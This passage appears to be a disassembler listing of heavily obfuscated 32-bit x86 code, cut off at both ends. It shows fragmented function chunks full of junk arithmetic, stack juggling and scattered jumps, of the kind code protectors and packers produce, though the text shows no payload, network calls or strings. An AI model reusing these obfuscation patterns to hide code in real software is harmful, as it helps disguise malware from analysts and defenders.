00000040 BYTES ; FUNCTION CHUNK AT 0059FBEF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A6AC4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6C2A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AFEFB SIZE 00000014 BYTES push ebp jmp loc_59FBEF sub_5A4886 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4B1E loc_5A488C: ; CODE XREF: sub_5A4B1E+3j mov ecx, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], edi push esp push [esp+0Ch+var_C] pop edi jmp sub_5ADD33 ; END OF FUNCTION CHUNK FOR sub_5A4B1E ; =============== S U B R O U T I N E ======================================= sub_5A489F proc near ; CODE XREF: sub_599F50+437j var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005A8651 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005ACBF7 SIZE 00000008 BYTES push ebx push ecx mov ecx, 4 push ecx jmp loc_5A8651 sub_5A489F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0266 loc_5A48AC: ; CODE XREF: sub_5B0266-13FB3j add eax, 4 jmp loc_5A1223 ; END OF FUNCTION CHUNK FOR sub_5B0266 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A48B6: ; CODE XREF: sub_5AD993-4477j mov ebp, 0D157C070h xor ecx, ebp jmp loc_59DFC4 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A48C2: ; CODE XREF: sub_5AA2D1-4F96j mov edx, 2E590EE5h or edx, 49D206EDh add edx, 9024F117h add edi, edx pop edx add edi, 4 xchg edi, [esp+0] jmp loc_5ACC75 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A48E1: ; CODE XREF: sub_59D6B8+1Dj push edi push ebx mov ebx, 0EF14EA3h add ebx, 2F3028E6h jz sub_59A7E7 push ebp mov ebp, 1AF37417h xor ebx, ebp jmp loc_5AB1F0 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A4901: ; CODE XREF: sub_59A7E7+B64Ej add edx, 35924E3h sub edx, 44C62DEAh xor edx, 0FD10F4D2h add ebp, edx jmp loc_5A01EE ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; =============== S U B R O U T I N E ======================================= sub_5A491A proc near ; CODE XREF: sub_5AF2D9-1440Ej var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D313 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059DA8F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A5FA6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A7E44 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC0FE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005ACE36 SIZE 0000000C BYTES sub esp, 4 jmp loc_5A5FA6 sub_5A491A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4922: ; CODE XREF: sub_5AA2D1-1063Bj add [esp+arg_4], ebp pop ebp add [esp-4+arg_4], ebx push 45ACh mov [esp+0], ebp mov ebp, 50C574C4h sub [esp+arg_4], ebp pop ebp mov ebx, [esp-4+arg_0] add esp, 4 pop eax push ebp jmp loc_5AF684 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5A494A: ; CODE XREF: sub_59D4FD+3237j sub esi, 32E967A7h add esi, 4CE01FCAh pop edx jmp loc_5AE342 ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A495C: ; CODE XREF: sub_59B4B1+10555j ; sub_5AA2D1+450Bj add esp, 4 movzx eax, al jmp loc_5A9C98 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4967: ; CODE XREF: sub_5992DA+871Fj push [esp+20h+var_22+2] push [esp+24h+var_26+2] pop ebp add esp, 4 jmp loc_5A5698 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4979: ; CODE XREF: sub_5AA2D1+5ECAj sub edi, esi jmp loc_59D336 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4980: ; CODE XREF: sub_5992DA+6018j add ebx, ebp jmp loc_599276 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4987: ; CODE XREF: sub_5AA2D1+1F8Aj add esp, 4 sub esp, 4 mov [esp-0Ch+arg_8], edi mov edi, 0FF45A43h xor ebp, edi pop edi add esi, ebp pop ebp push 402Fh mov [esp-10h+arg_C], eax mov eax, 7D9A06A0h shr eax, 2 xor eax, 1F6681ACh add esi, 34F2643Ah add esi, eax sub esi, 34F2643Ah pop eax xor esi, [esp-14h+arg_10] xor [esp-14h+arg_10], esi xor esi, [esp-14h+arg_10] pop esp and ecx, esi push [esp-18h+arg_14] pop esi add esp, 4 shr ecx, 0 or eax, eax jz loc_59D639 push 48CBh jmp loc_5AAB33 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A49EA: ; CODE XREF: sub_5A16B8-68A9j mov [esp+4+var_4], ebx jmp loc_5AC466 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A49F2: ; CODE XREF: sub_5B01F7-A045j pop esp mov [esp+0Ch+var_C], edx mov edx, esp push edi jmp loc_5A7361 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A49FE: ; CODE XREF: sub_5AA2D1-E0EDj add esi, ebp jmp loc_5A0916 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A4A05: ; CODE XREF: sub_5A477C-922Dj pop ecx not ebx sub ebx, 0C088B604h add edi, 64DF298Ch push eax mov eax, 1177745Ah push ebx mov ebx, 0 sub ebx, eax jmp loc_59EFFA ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4CF3 loc_5A4A27: ; CODE XREF: sub_5A4CF3+AECEj xor [esp+0], ebx xchg ecx, ebx not ecx xchg ecx, ebx xchg ebx, [esp+0] push dword ptr [esp+0] push [esp-4+arg_0] push dword ptr [esp+0] pop eax add esp, 4 push 296Dh mov [esp+0], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+4+var_4] jmp loc_5A18BC ; END OF FUNCTION CHUNK FOR sub_5A4CF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599B07 loc_5A4A5C: ; CODE XREF: sub_599B07+8C0Ej pop ebp add ebp, 4 jmp sub_59CBE1 ; END OF FUNCTION CHUNK FOR sub_599B07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4A68: ; CODE XREF: sub_5992DA-5Cj mov [esp+4+var_6+2], ecx mov ecx, 3A32451Bh push edx push ecx mov ecx, 1CF72C33h mov edx, 3ADA0012h add edx, ecx pop ecx inc edx push eax push ecx mov ecx, 7BF35FCFh jmp loc_59F376 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4A8C: ; CODE XREF: sub_5AA2D1+38CFj sub edx, 0FB914DDCh jmp loc_5AD178 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0327 loc_5A4A97: ; CODE XREF: sub_5A0327-1265j push eax mov ah, bl jmp sub_5A8E92 ; END OF FUNCTION CHUNK FOR sub_5A0327 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD336 loc_5A4A9F: ; CODE XREF: sub_5AD336+196Dj add esi, 4 sub esi, 4 xchg esi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ebp mov ebp, 4 add edi, ebp jmp loc_5A01A1 ; END OF FUNCTION CHUNK FOR sub_5AD336 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4ABE: ; CODE XREF: sub_5992DA+406Bj pop eax add ebp, edi mov edi, [esp+20h+var_22+2] add esp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx push ebp push [esp+20h+var_1C] mov ebp, [esp+24h+var_26+2] add esp, 4 pop [esp+20h+var_22+2] mov esp, [esp+1Ch+var_1C] jmp sub_5AA2D1 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2A15 loc_5A4AEC: ; CODE XREF: sub_5A2A15-8405j xchg eax, [esp+0] mov esp, [esp+0] ror [esp-4+arg_0], cl pushf jmp loc_5A6A5D ; END OF FUNCTION CHUNK FOR sub_5A2A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3B60 loc_5A4AFB: ; CODE XREF: sub_5A3B60-2279j mov [esp+0], esi not dword ptr [esp+0] pop esi neg esi sub esi, 14605994h inc esi jmp loc_5AAD9D ; END OF FUNCTION CHUNK FOR sub_5A3B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_5A4B10: ; CODE XREF: sub_5A765F-BC2Fj mov cx, [esp-4+arg_0] push 0DF1h jmp loc_5A0C48 ; END OF FUNCTION CHUNK FOR sub_5A765F ; =============== S U B R O U T I N E ======================================= sub_5A4B1E proc near ; DATA XREF: sdfs____:00598FB0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A488C SIZE 00000013 BYTES push dword ptr [esp+0] jmp loc_5A488C sub_5A4B1E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A4B26: ; CODE XREF: sub_5A5EFF-7824j ; sub_5A913B-6FDAj dec dh add dh, 0FFh sub esp, 4 mov [esp], eax mov al, 92h sub al, 0E1h add al, 0AAh jmp loc_59CE75 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0278 loc_5A4B3F: ; CODE XREF: sub_5A0278+4F38j ; sub_5992DA+13980j sub eax, ebx add eax, 4F13055Eh pop ebx jmp loc_59FC40 ; END OF FUNCTION CHUNK FOR sub_5A0278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4B4C: ; CODE XREF: sub_5AA2D1-22D4j pop edx sub edx, ebx mov ebx, [esp-10h+arg_C] push ebx jmp loc_59F6EE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B22E loc_5A4B58: ; CODE XREF: sub_59B22E+10j add eax, ebx sub eax, 2CBA30C8h push 1B92h mov [esp+4+var_4], ebp mov ebp, 5F5E698Fh sub eax, ebp pop ebp push ebp mov ebp, 39CE664Bh push edx mov edx, 30142D47h shr edx, 3 shl edx, 6 xor edx, 856444DCh sub ebp, edx pop edx jmp sub_5AD993 ; END OF FUNCTION CHUNK FOR sub_59B22E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4B8F: ; CODE XREF: sub_5AA2D1-7C80j sub ecx, 4 jmp loc_5A14A8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4B9A: ; CODE XREF: sub_5992DA+8AD5j or edi, 2F12634Ch sub edi, 6A0E4DBBh inc edi xor edi, 7DDA4726h jmp loc_5A7238 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A4BB2: ; CODE XREF: sub_5A7BA0-B846j jmp loc_5A55FC ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A4BB7: ; CODE XREF: sub_5A6BBC-9346j sub cl, 0DFh jmp loc_5A1A1D ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A4BBF: ; CODE XREF: sub_59C979+447Bj ; sub_59EE3E+C017j pop eax xor dh, 56h push edx mov dh, 0D5h sub al, dh pop edx sub al, dh jmp loc_59D6E7 ; --------------------------------------------------------------------------- loc_5A4BD0: ; CODE XREF: sub_59C979+3565j ; sub_59A26C+15A50j add edx, ebp mov ebp, [esp+0] add esp, 4 push 591Eh mov [esp+0], esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A4BF9: ; CODE XREF: sub_59A7E7+C089j mov ch, 84h not ch or ch, 3Fh jmp loc_5A9AE3 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F3B6 loc_5A4C05: ; CODE XREF: sub_59F3B6+CF55j xchg edi, [esp+4+var_4] pop esp push esi mov esi, 1D8A12C6h xchg edi, esi not edi xchg edi, esi not esi xor esi, 57B836AEh xor ebx, esi pop esi inc ebx add ebx, 6CF924EDh push 4B6Dh mov [esp+4+var_4], ecx mov ecx, 14703D70h or ebx, ecx pop ecx xor ebx, 9FFC7D7Ah add esi, ebx mov ebx, [esp+0] add esp, 4 push edx mov edx, 2 jmp loc_599392 ; END OF FUNCTION CHUNK FOR sub_59F3B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A4C53: ; CODE XREF: sub_5A16B8-B26j mov edx, 4 sub edi, 7ECD1A0Fh jmp loc_59AC7A ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A4C63: ; CODE XREF: sub_59C979+8859j add ebx, 58501CD7h jmp loc_5AB1D1 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A4C6E: ; CODE XREF: sub_5A0924+29B0j mov ebx, esp jmp loc_5A8EEA ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A4C75: ; CODE XREF: sub_59EE3E+97C0j add ebx, 1F06FFEAh add ebx, 4BE25305h push esi mov esi, 21412F7Fh inc esi jmp loc_5AAE97 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4C8D: ; CODE XREF: sub_5AA2D1:loc_5A9296j or esi, 7B9E1251h jnp loc_5ACF77 add esi, 10012552h jmp loc_59D216 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- push ebp ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A4CA5: ; CODE XREF: sub_5AC803-B6FFj ; sub_59C979+106FCj mov ebx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], edx push eax sub esp, 4 mov [esp+4+var_6+2], edx mov dl, 6Bh mov ah, 0E4h push ecx jmp loc_5ABB77 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A4CC5: ; CODE XREF: sub_59D18A+4D7Bj add [esp+8+var_4], 6F4549A1h add [esp+8+var_4], eax push edi mov edi, 6F4549A1h sub [esp+0Ch+var_4], edi pop edi push ebx mov ebx, 7C0D318Ch jmp loc_5AFABD ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- loc_5A4CE7: ; CODE XREF: sdfs____:005A85CDj push edi not dword ptr [esp] push dword ptr [esp] jmp loc_59A2C3 ; =============== S U B R O U T I N E ======================================= sub_5A4CF3 proc near ; CODE XREF: sub_5AF2D9-12B63j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059F39C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A18BC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A4A27 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A5274 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A52CC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A54AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AAA1B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AFBB3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AFD26 SIZE 00000011 BYTES push ebp mov ebp, 261E77E0h mov ecx, ebp jmp loc_5AAA1B sub_5A4CF3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A4D00: ; CODE XREF: sub_59A479+113C1j add esp, 4 pop eax jmp loc_5A8184 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4D09: ; CODE XREF: sub_5AA2D1-E520j add esi, 4 push ebp jmp loc_5ABCA8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A4D15: ; CODE XREF: sub_59D6B8+8FE7j mov esi, [esp+4+var_4] add esp, 4 jmp loc_5A29B2 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A4D20: ; CODE XREF: sub_5996E4+12AEFj xor esi, 8BBBEB1h mov ecx, esi jmp loc_59F715 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4D2D: ; CODE XREF: sub_5AA2D1-42j xor ebp, 3F8E4122h jmp loc_5A5130 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A4D38: ; CODE XREF: sub_5A18F6+CCBDj push edi pop edx pop edi add esi, edx mov edx, [esp+0Ch+var_C] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] pop esp jmp loc_5AFD5F ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5A4D55: ; CODE XREF: sub_5AFA26-154ADj sub eax, ebp add eax, 4CBE1F70h pop ebp add eax, ebp add eax, 531F13C2h pop ebp push ebp mov ebp, 2 sub eax, ebp pop ebp push 5B3Eh jmp loc_5AF01E ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A4D78: ; CODE XREF: sub_5A4D9D-4643j mov esi, esp push eax mov eax, 4 add esi, eax pop eax add esi, 4 xchg esi, [esp+4+var_4] jmp loc_5AE3DB ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A4D91: ; CODE XREF: sub_5AD795+1j mov ebp, 1DF80A6Dh push ebp push ecx jmp loc_59B4C8 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; =============== S U B R O U T I N E ======================================= sub_5A4D9D proc near ; DATA XREF: sdfs____:00598F2Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599AC1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00599C5D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059B59F SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059D117 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059E027 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A0094 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A0615 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A0757 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A0D19 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A0F92 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A18A7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A261B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A38EC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A3DE5 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A4D78 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A805A SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005ACEC1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE3DB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE907 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AF2CE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFE7C SIZE 00000016 BYTES mov ax, word ptr [esp+4+var_4] push 6E97h mov [esp+8+var_8], ebx sub esp, 4 mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 jmp loc_59E027 sub_5A4D9D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4DBB: ; CODE XREF: sub_5AA2D1+1C78j mov eax, 3EF85A62h jmp loc_5AB871 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_5A4DC5: ; CODE XREF: sub_5A600D-BDE5j pop ebx jmp loc_599B82 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A66A loc_5A4DCB: ; CODE XREF: sub_59A66A+7E07j mov eax, esp jmp loc_5A8958 ; END OF FUNCTION CHUNK FOR sub_59A66A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAFCA loc_5A4DD2: ; CODE XREF: sub_5AAFCA-47ACj add dl, 0C4h add al, 8Bh sub al, dl sub al, 8Bh mov edx, [esp+0] jmp loc_5AFAA9 ; END OF FUNCTION CHUNK FOR sub_5AAFCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4DE3: ; CODE XREF: sub_5A3261-4F8Cj ; sub_5992DA+EE8Ej sub ecx, 7D8C0548h add ecx, edx add ecx, 7D8C0548h jmp loc_5AA705 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A4DF6: ; CODE XREF: sub_5A477C-3CA3j pop edx jmp loc_59C325 ; END OF FUNCTION CHUNK FOR sub_5A477C ; =============== S U B R O U T I N E ======================================= sub_5A4DFC proc near ; DATA XREF: sdfs____:00598EF8o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599B14 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059D785 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E93B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A0F7F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A23BC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A8D6C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AB6C9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AE44D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AF8E7 SIZE 0000000E BYTES xor [esp+0], ah jmp loc_59D785 sub_5A4DFC endp ; =============== S U B R O U T I N E ======================================= sub_5A4E04 proc near ; DATA XREF: sdfs____:00598F30o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A05A7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A0B97 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A1858 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A2D19 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A3B36 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3F1B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A697C SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A9FB2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AC130 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005AC5A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AC64B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AD7DC SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005AE6D4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AFAC6 SIZE 0000000B BYTES lodsd sub esp, 4 mov [esp+6+var_8+2], ebp push esi push 2569h mov [esp+0], ecx push 64A113EEh pop ecx mov esi, ecx mov ecx, [esp+0] add esp, 4 sub esi, 2A5E0074h push ebp mov ebp, 81B48C6h xor esi, ebp push dword ptr [esp+0] pop ebp jmp loc_5A3B36 sub_5A4E04 endp ; --------------------------------------------------------------------------- loc_5A4E3F: ; CODE XREF: sdfs____:005AC646j push ebx mov ebx, esp jmp loc_59C252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A4E47: ; CODE XREF: sub_59FC02+3CC5j jmp loc_5A8C3A ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A4E4C: ; CODE XREF: sub_5A6BBC+8135j mov [esp+4+var_4], edi jmp loc_5ADA78 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4E54: ; CODE XREF: sub_5AA2D1-A3D4j sub ebx, 0FACFB226h push ebx jmp loc_5AD6BD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A4E60: ; CODE XREF: sub_59A26C+161B0j mov edx, 28896C63h xor edx, 63CE4CE2h jnp loc_5A9358 and edx, 39FF7BDFh jge loc_5AA85A inc edx jns loc_59BF49 mov bh, cl mov ch, 7Ch ; END OF FUNCTION CHUNK FOR sub_59A26C ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4E88: ; CODE XREF: sub_5AA2D1-6872j add esp, 4 sub bp, 5BD0h add bp, ax add bp, 5BD0h pop eax mov bx, bp pop ebp add word ptr [esp-14h+arg_10+2], bx mov bx, word ptr [esp-14h+arg_10] add esp, 2 jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A4EB4: ; CODE XREF: sub_5AE29C-53DCj pop eax mov edx, [esp+0] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] pop esp xchg ebp, [esp+0] mov esp, [esp+0] movzx ecx, ax push 40Eh mov [esp-4+arg_0], ecx push 3A43h mov [esp+0], esp add dword ptr [esp+0], 4 pop ecx sub esp, 4 mov [esp+0], edx push 39846502h pop edx jmp loc_5AAA6D ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4EFA: ; CODE XREF: sub_5AA2D1:loc_5A001Fj xor ebx, 3AE29D4Ah jmp loc_5A2060 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5A4F05: ; CODE XREF: sub_59DD36+874Ej sub ebx, 554C550Ah add ebx, 1330540Eh add ecx, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 add ecx, 4 xchg ecx, [esp+8+var_8] pop esp push ebx jmp loc_5AB924 ; END OF FUNCTION CHUNK FOR sub_59DD36 ; =============== S U B R O U T I N E ======================================= sub_5A4F29 proc near ; DATA XREF: sdfs____:00598E68o mov cx, [esp+0] push edi mov edi, esp push ecx jmp sub_5A8992 sub_5A4F29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A041B 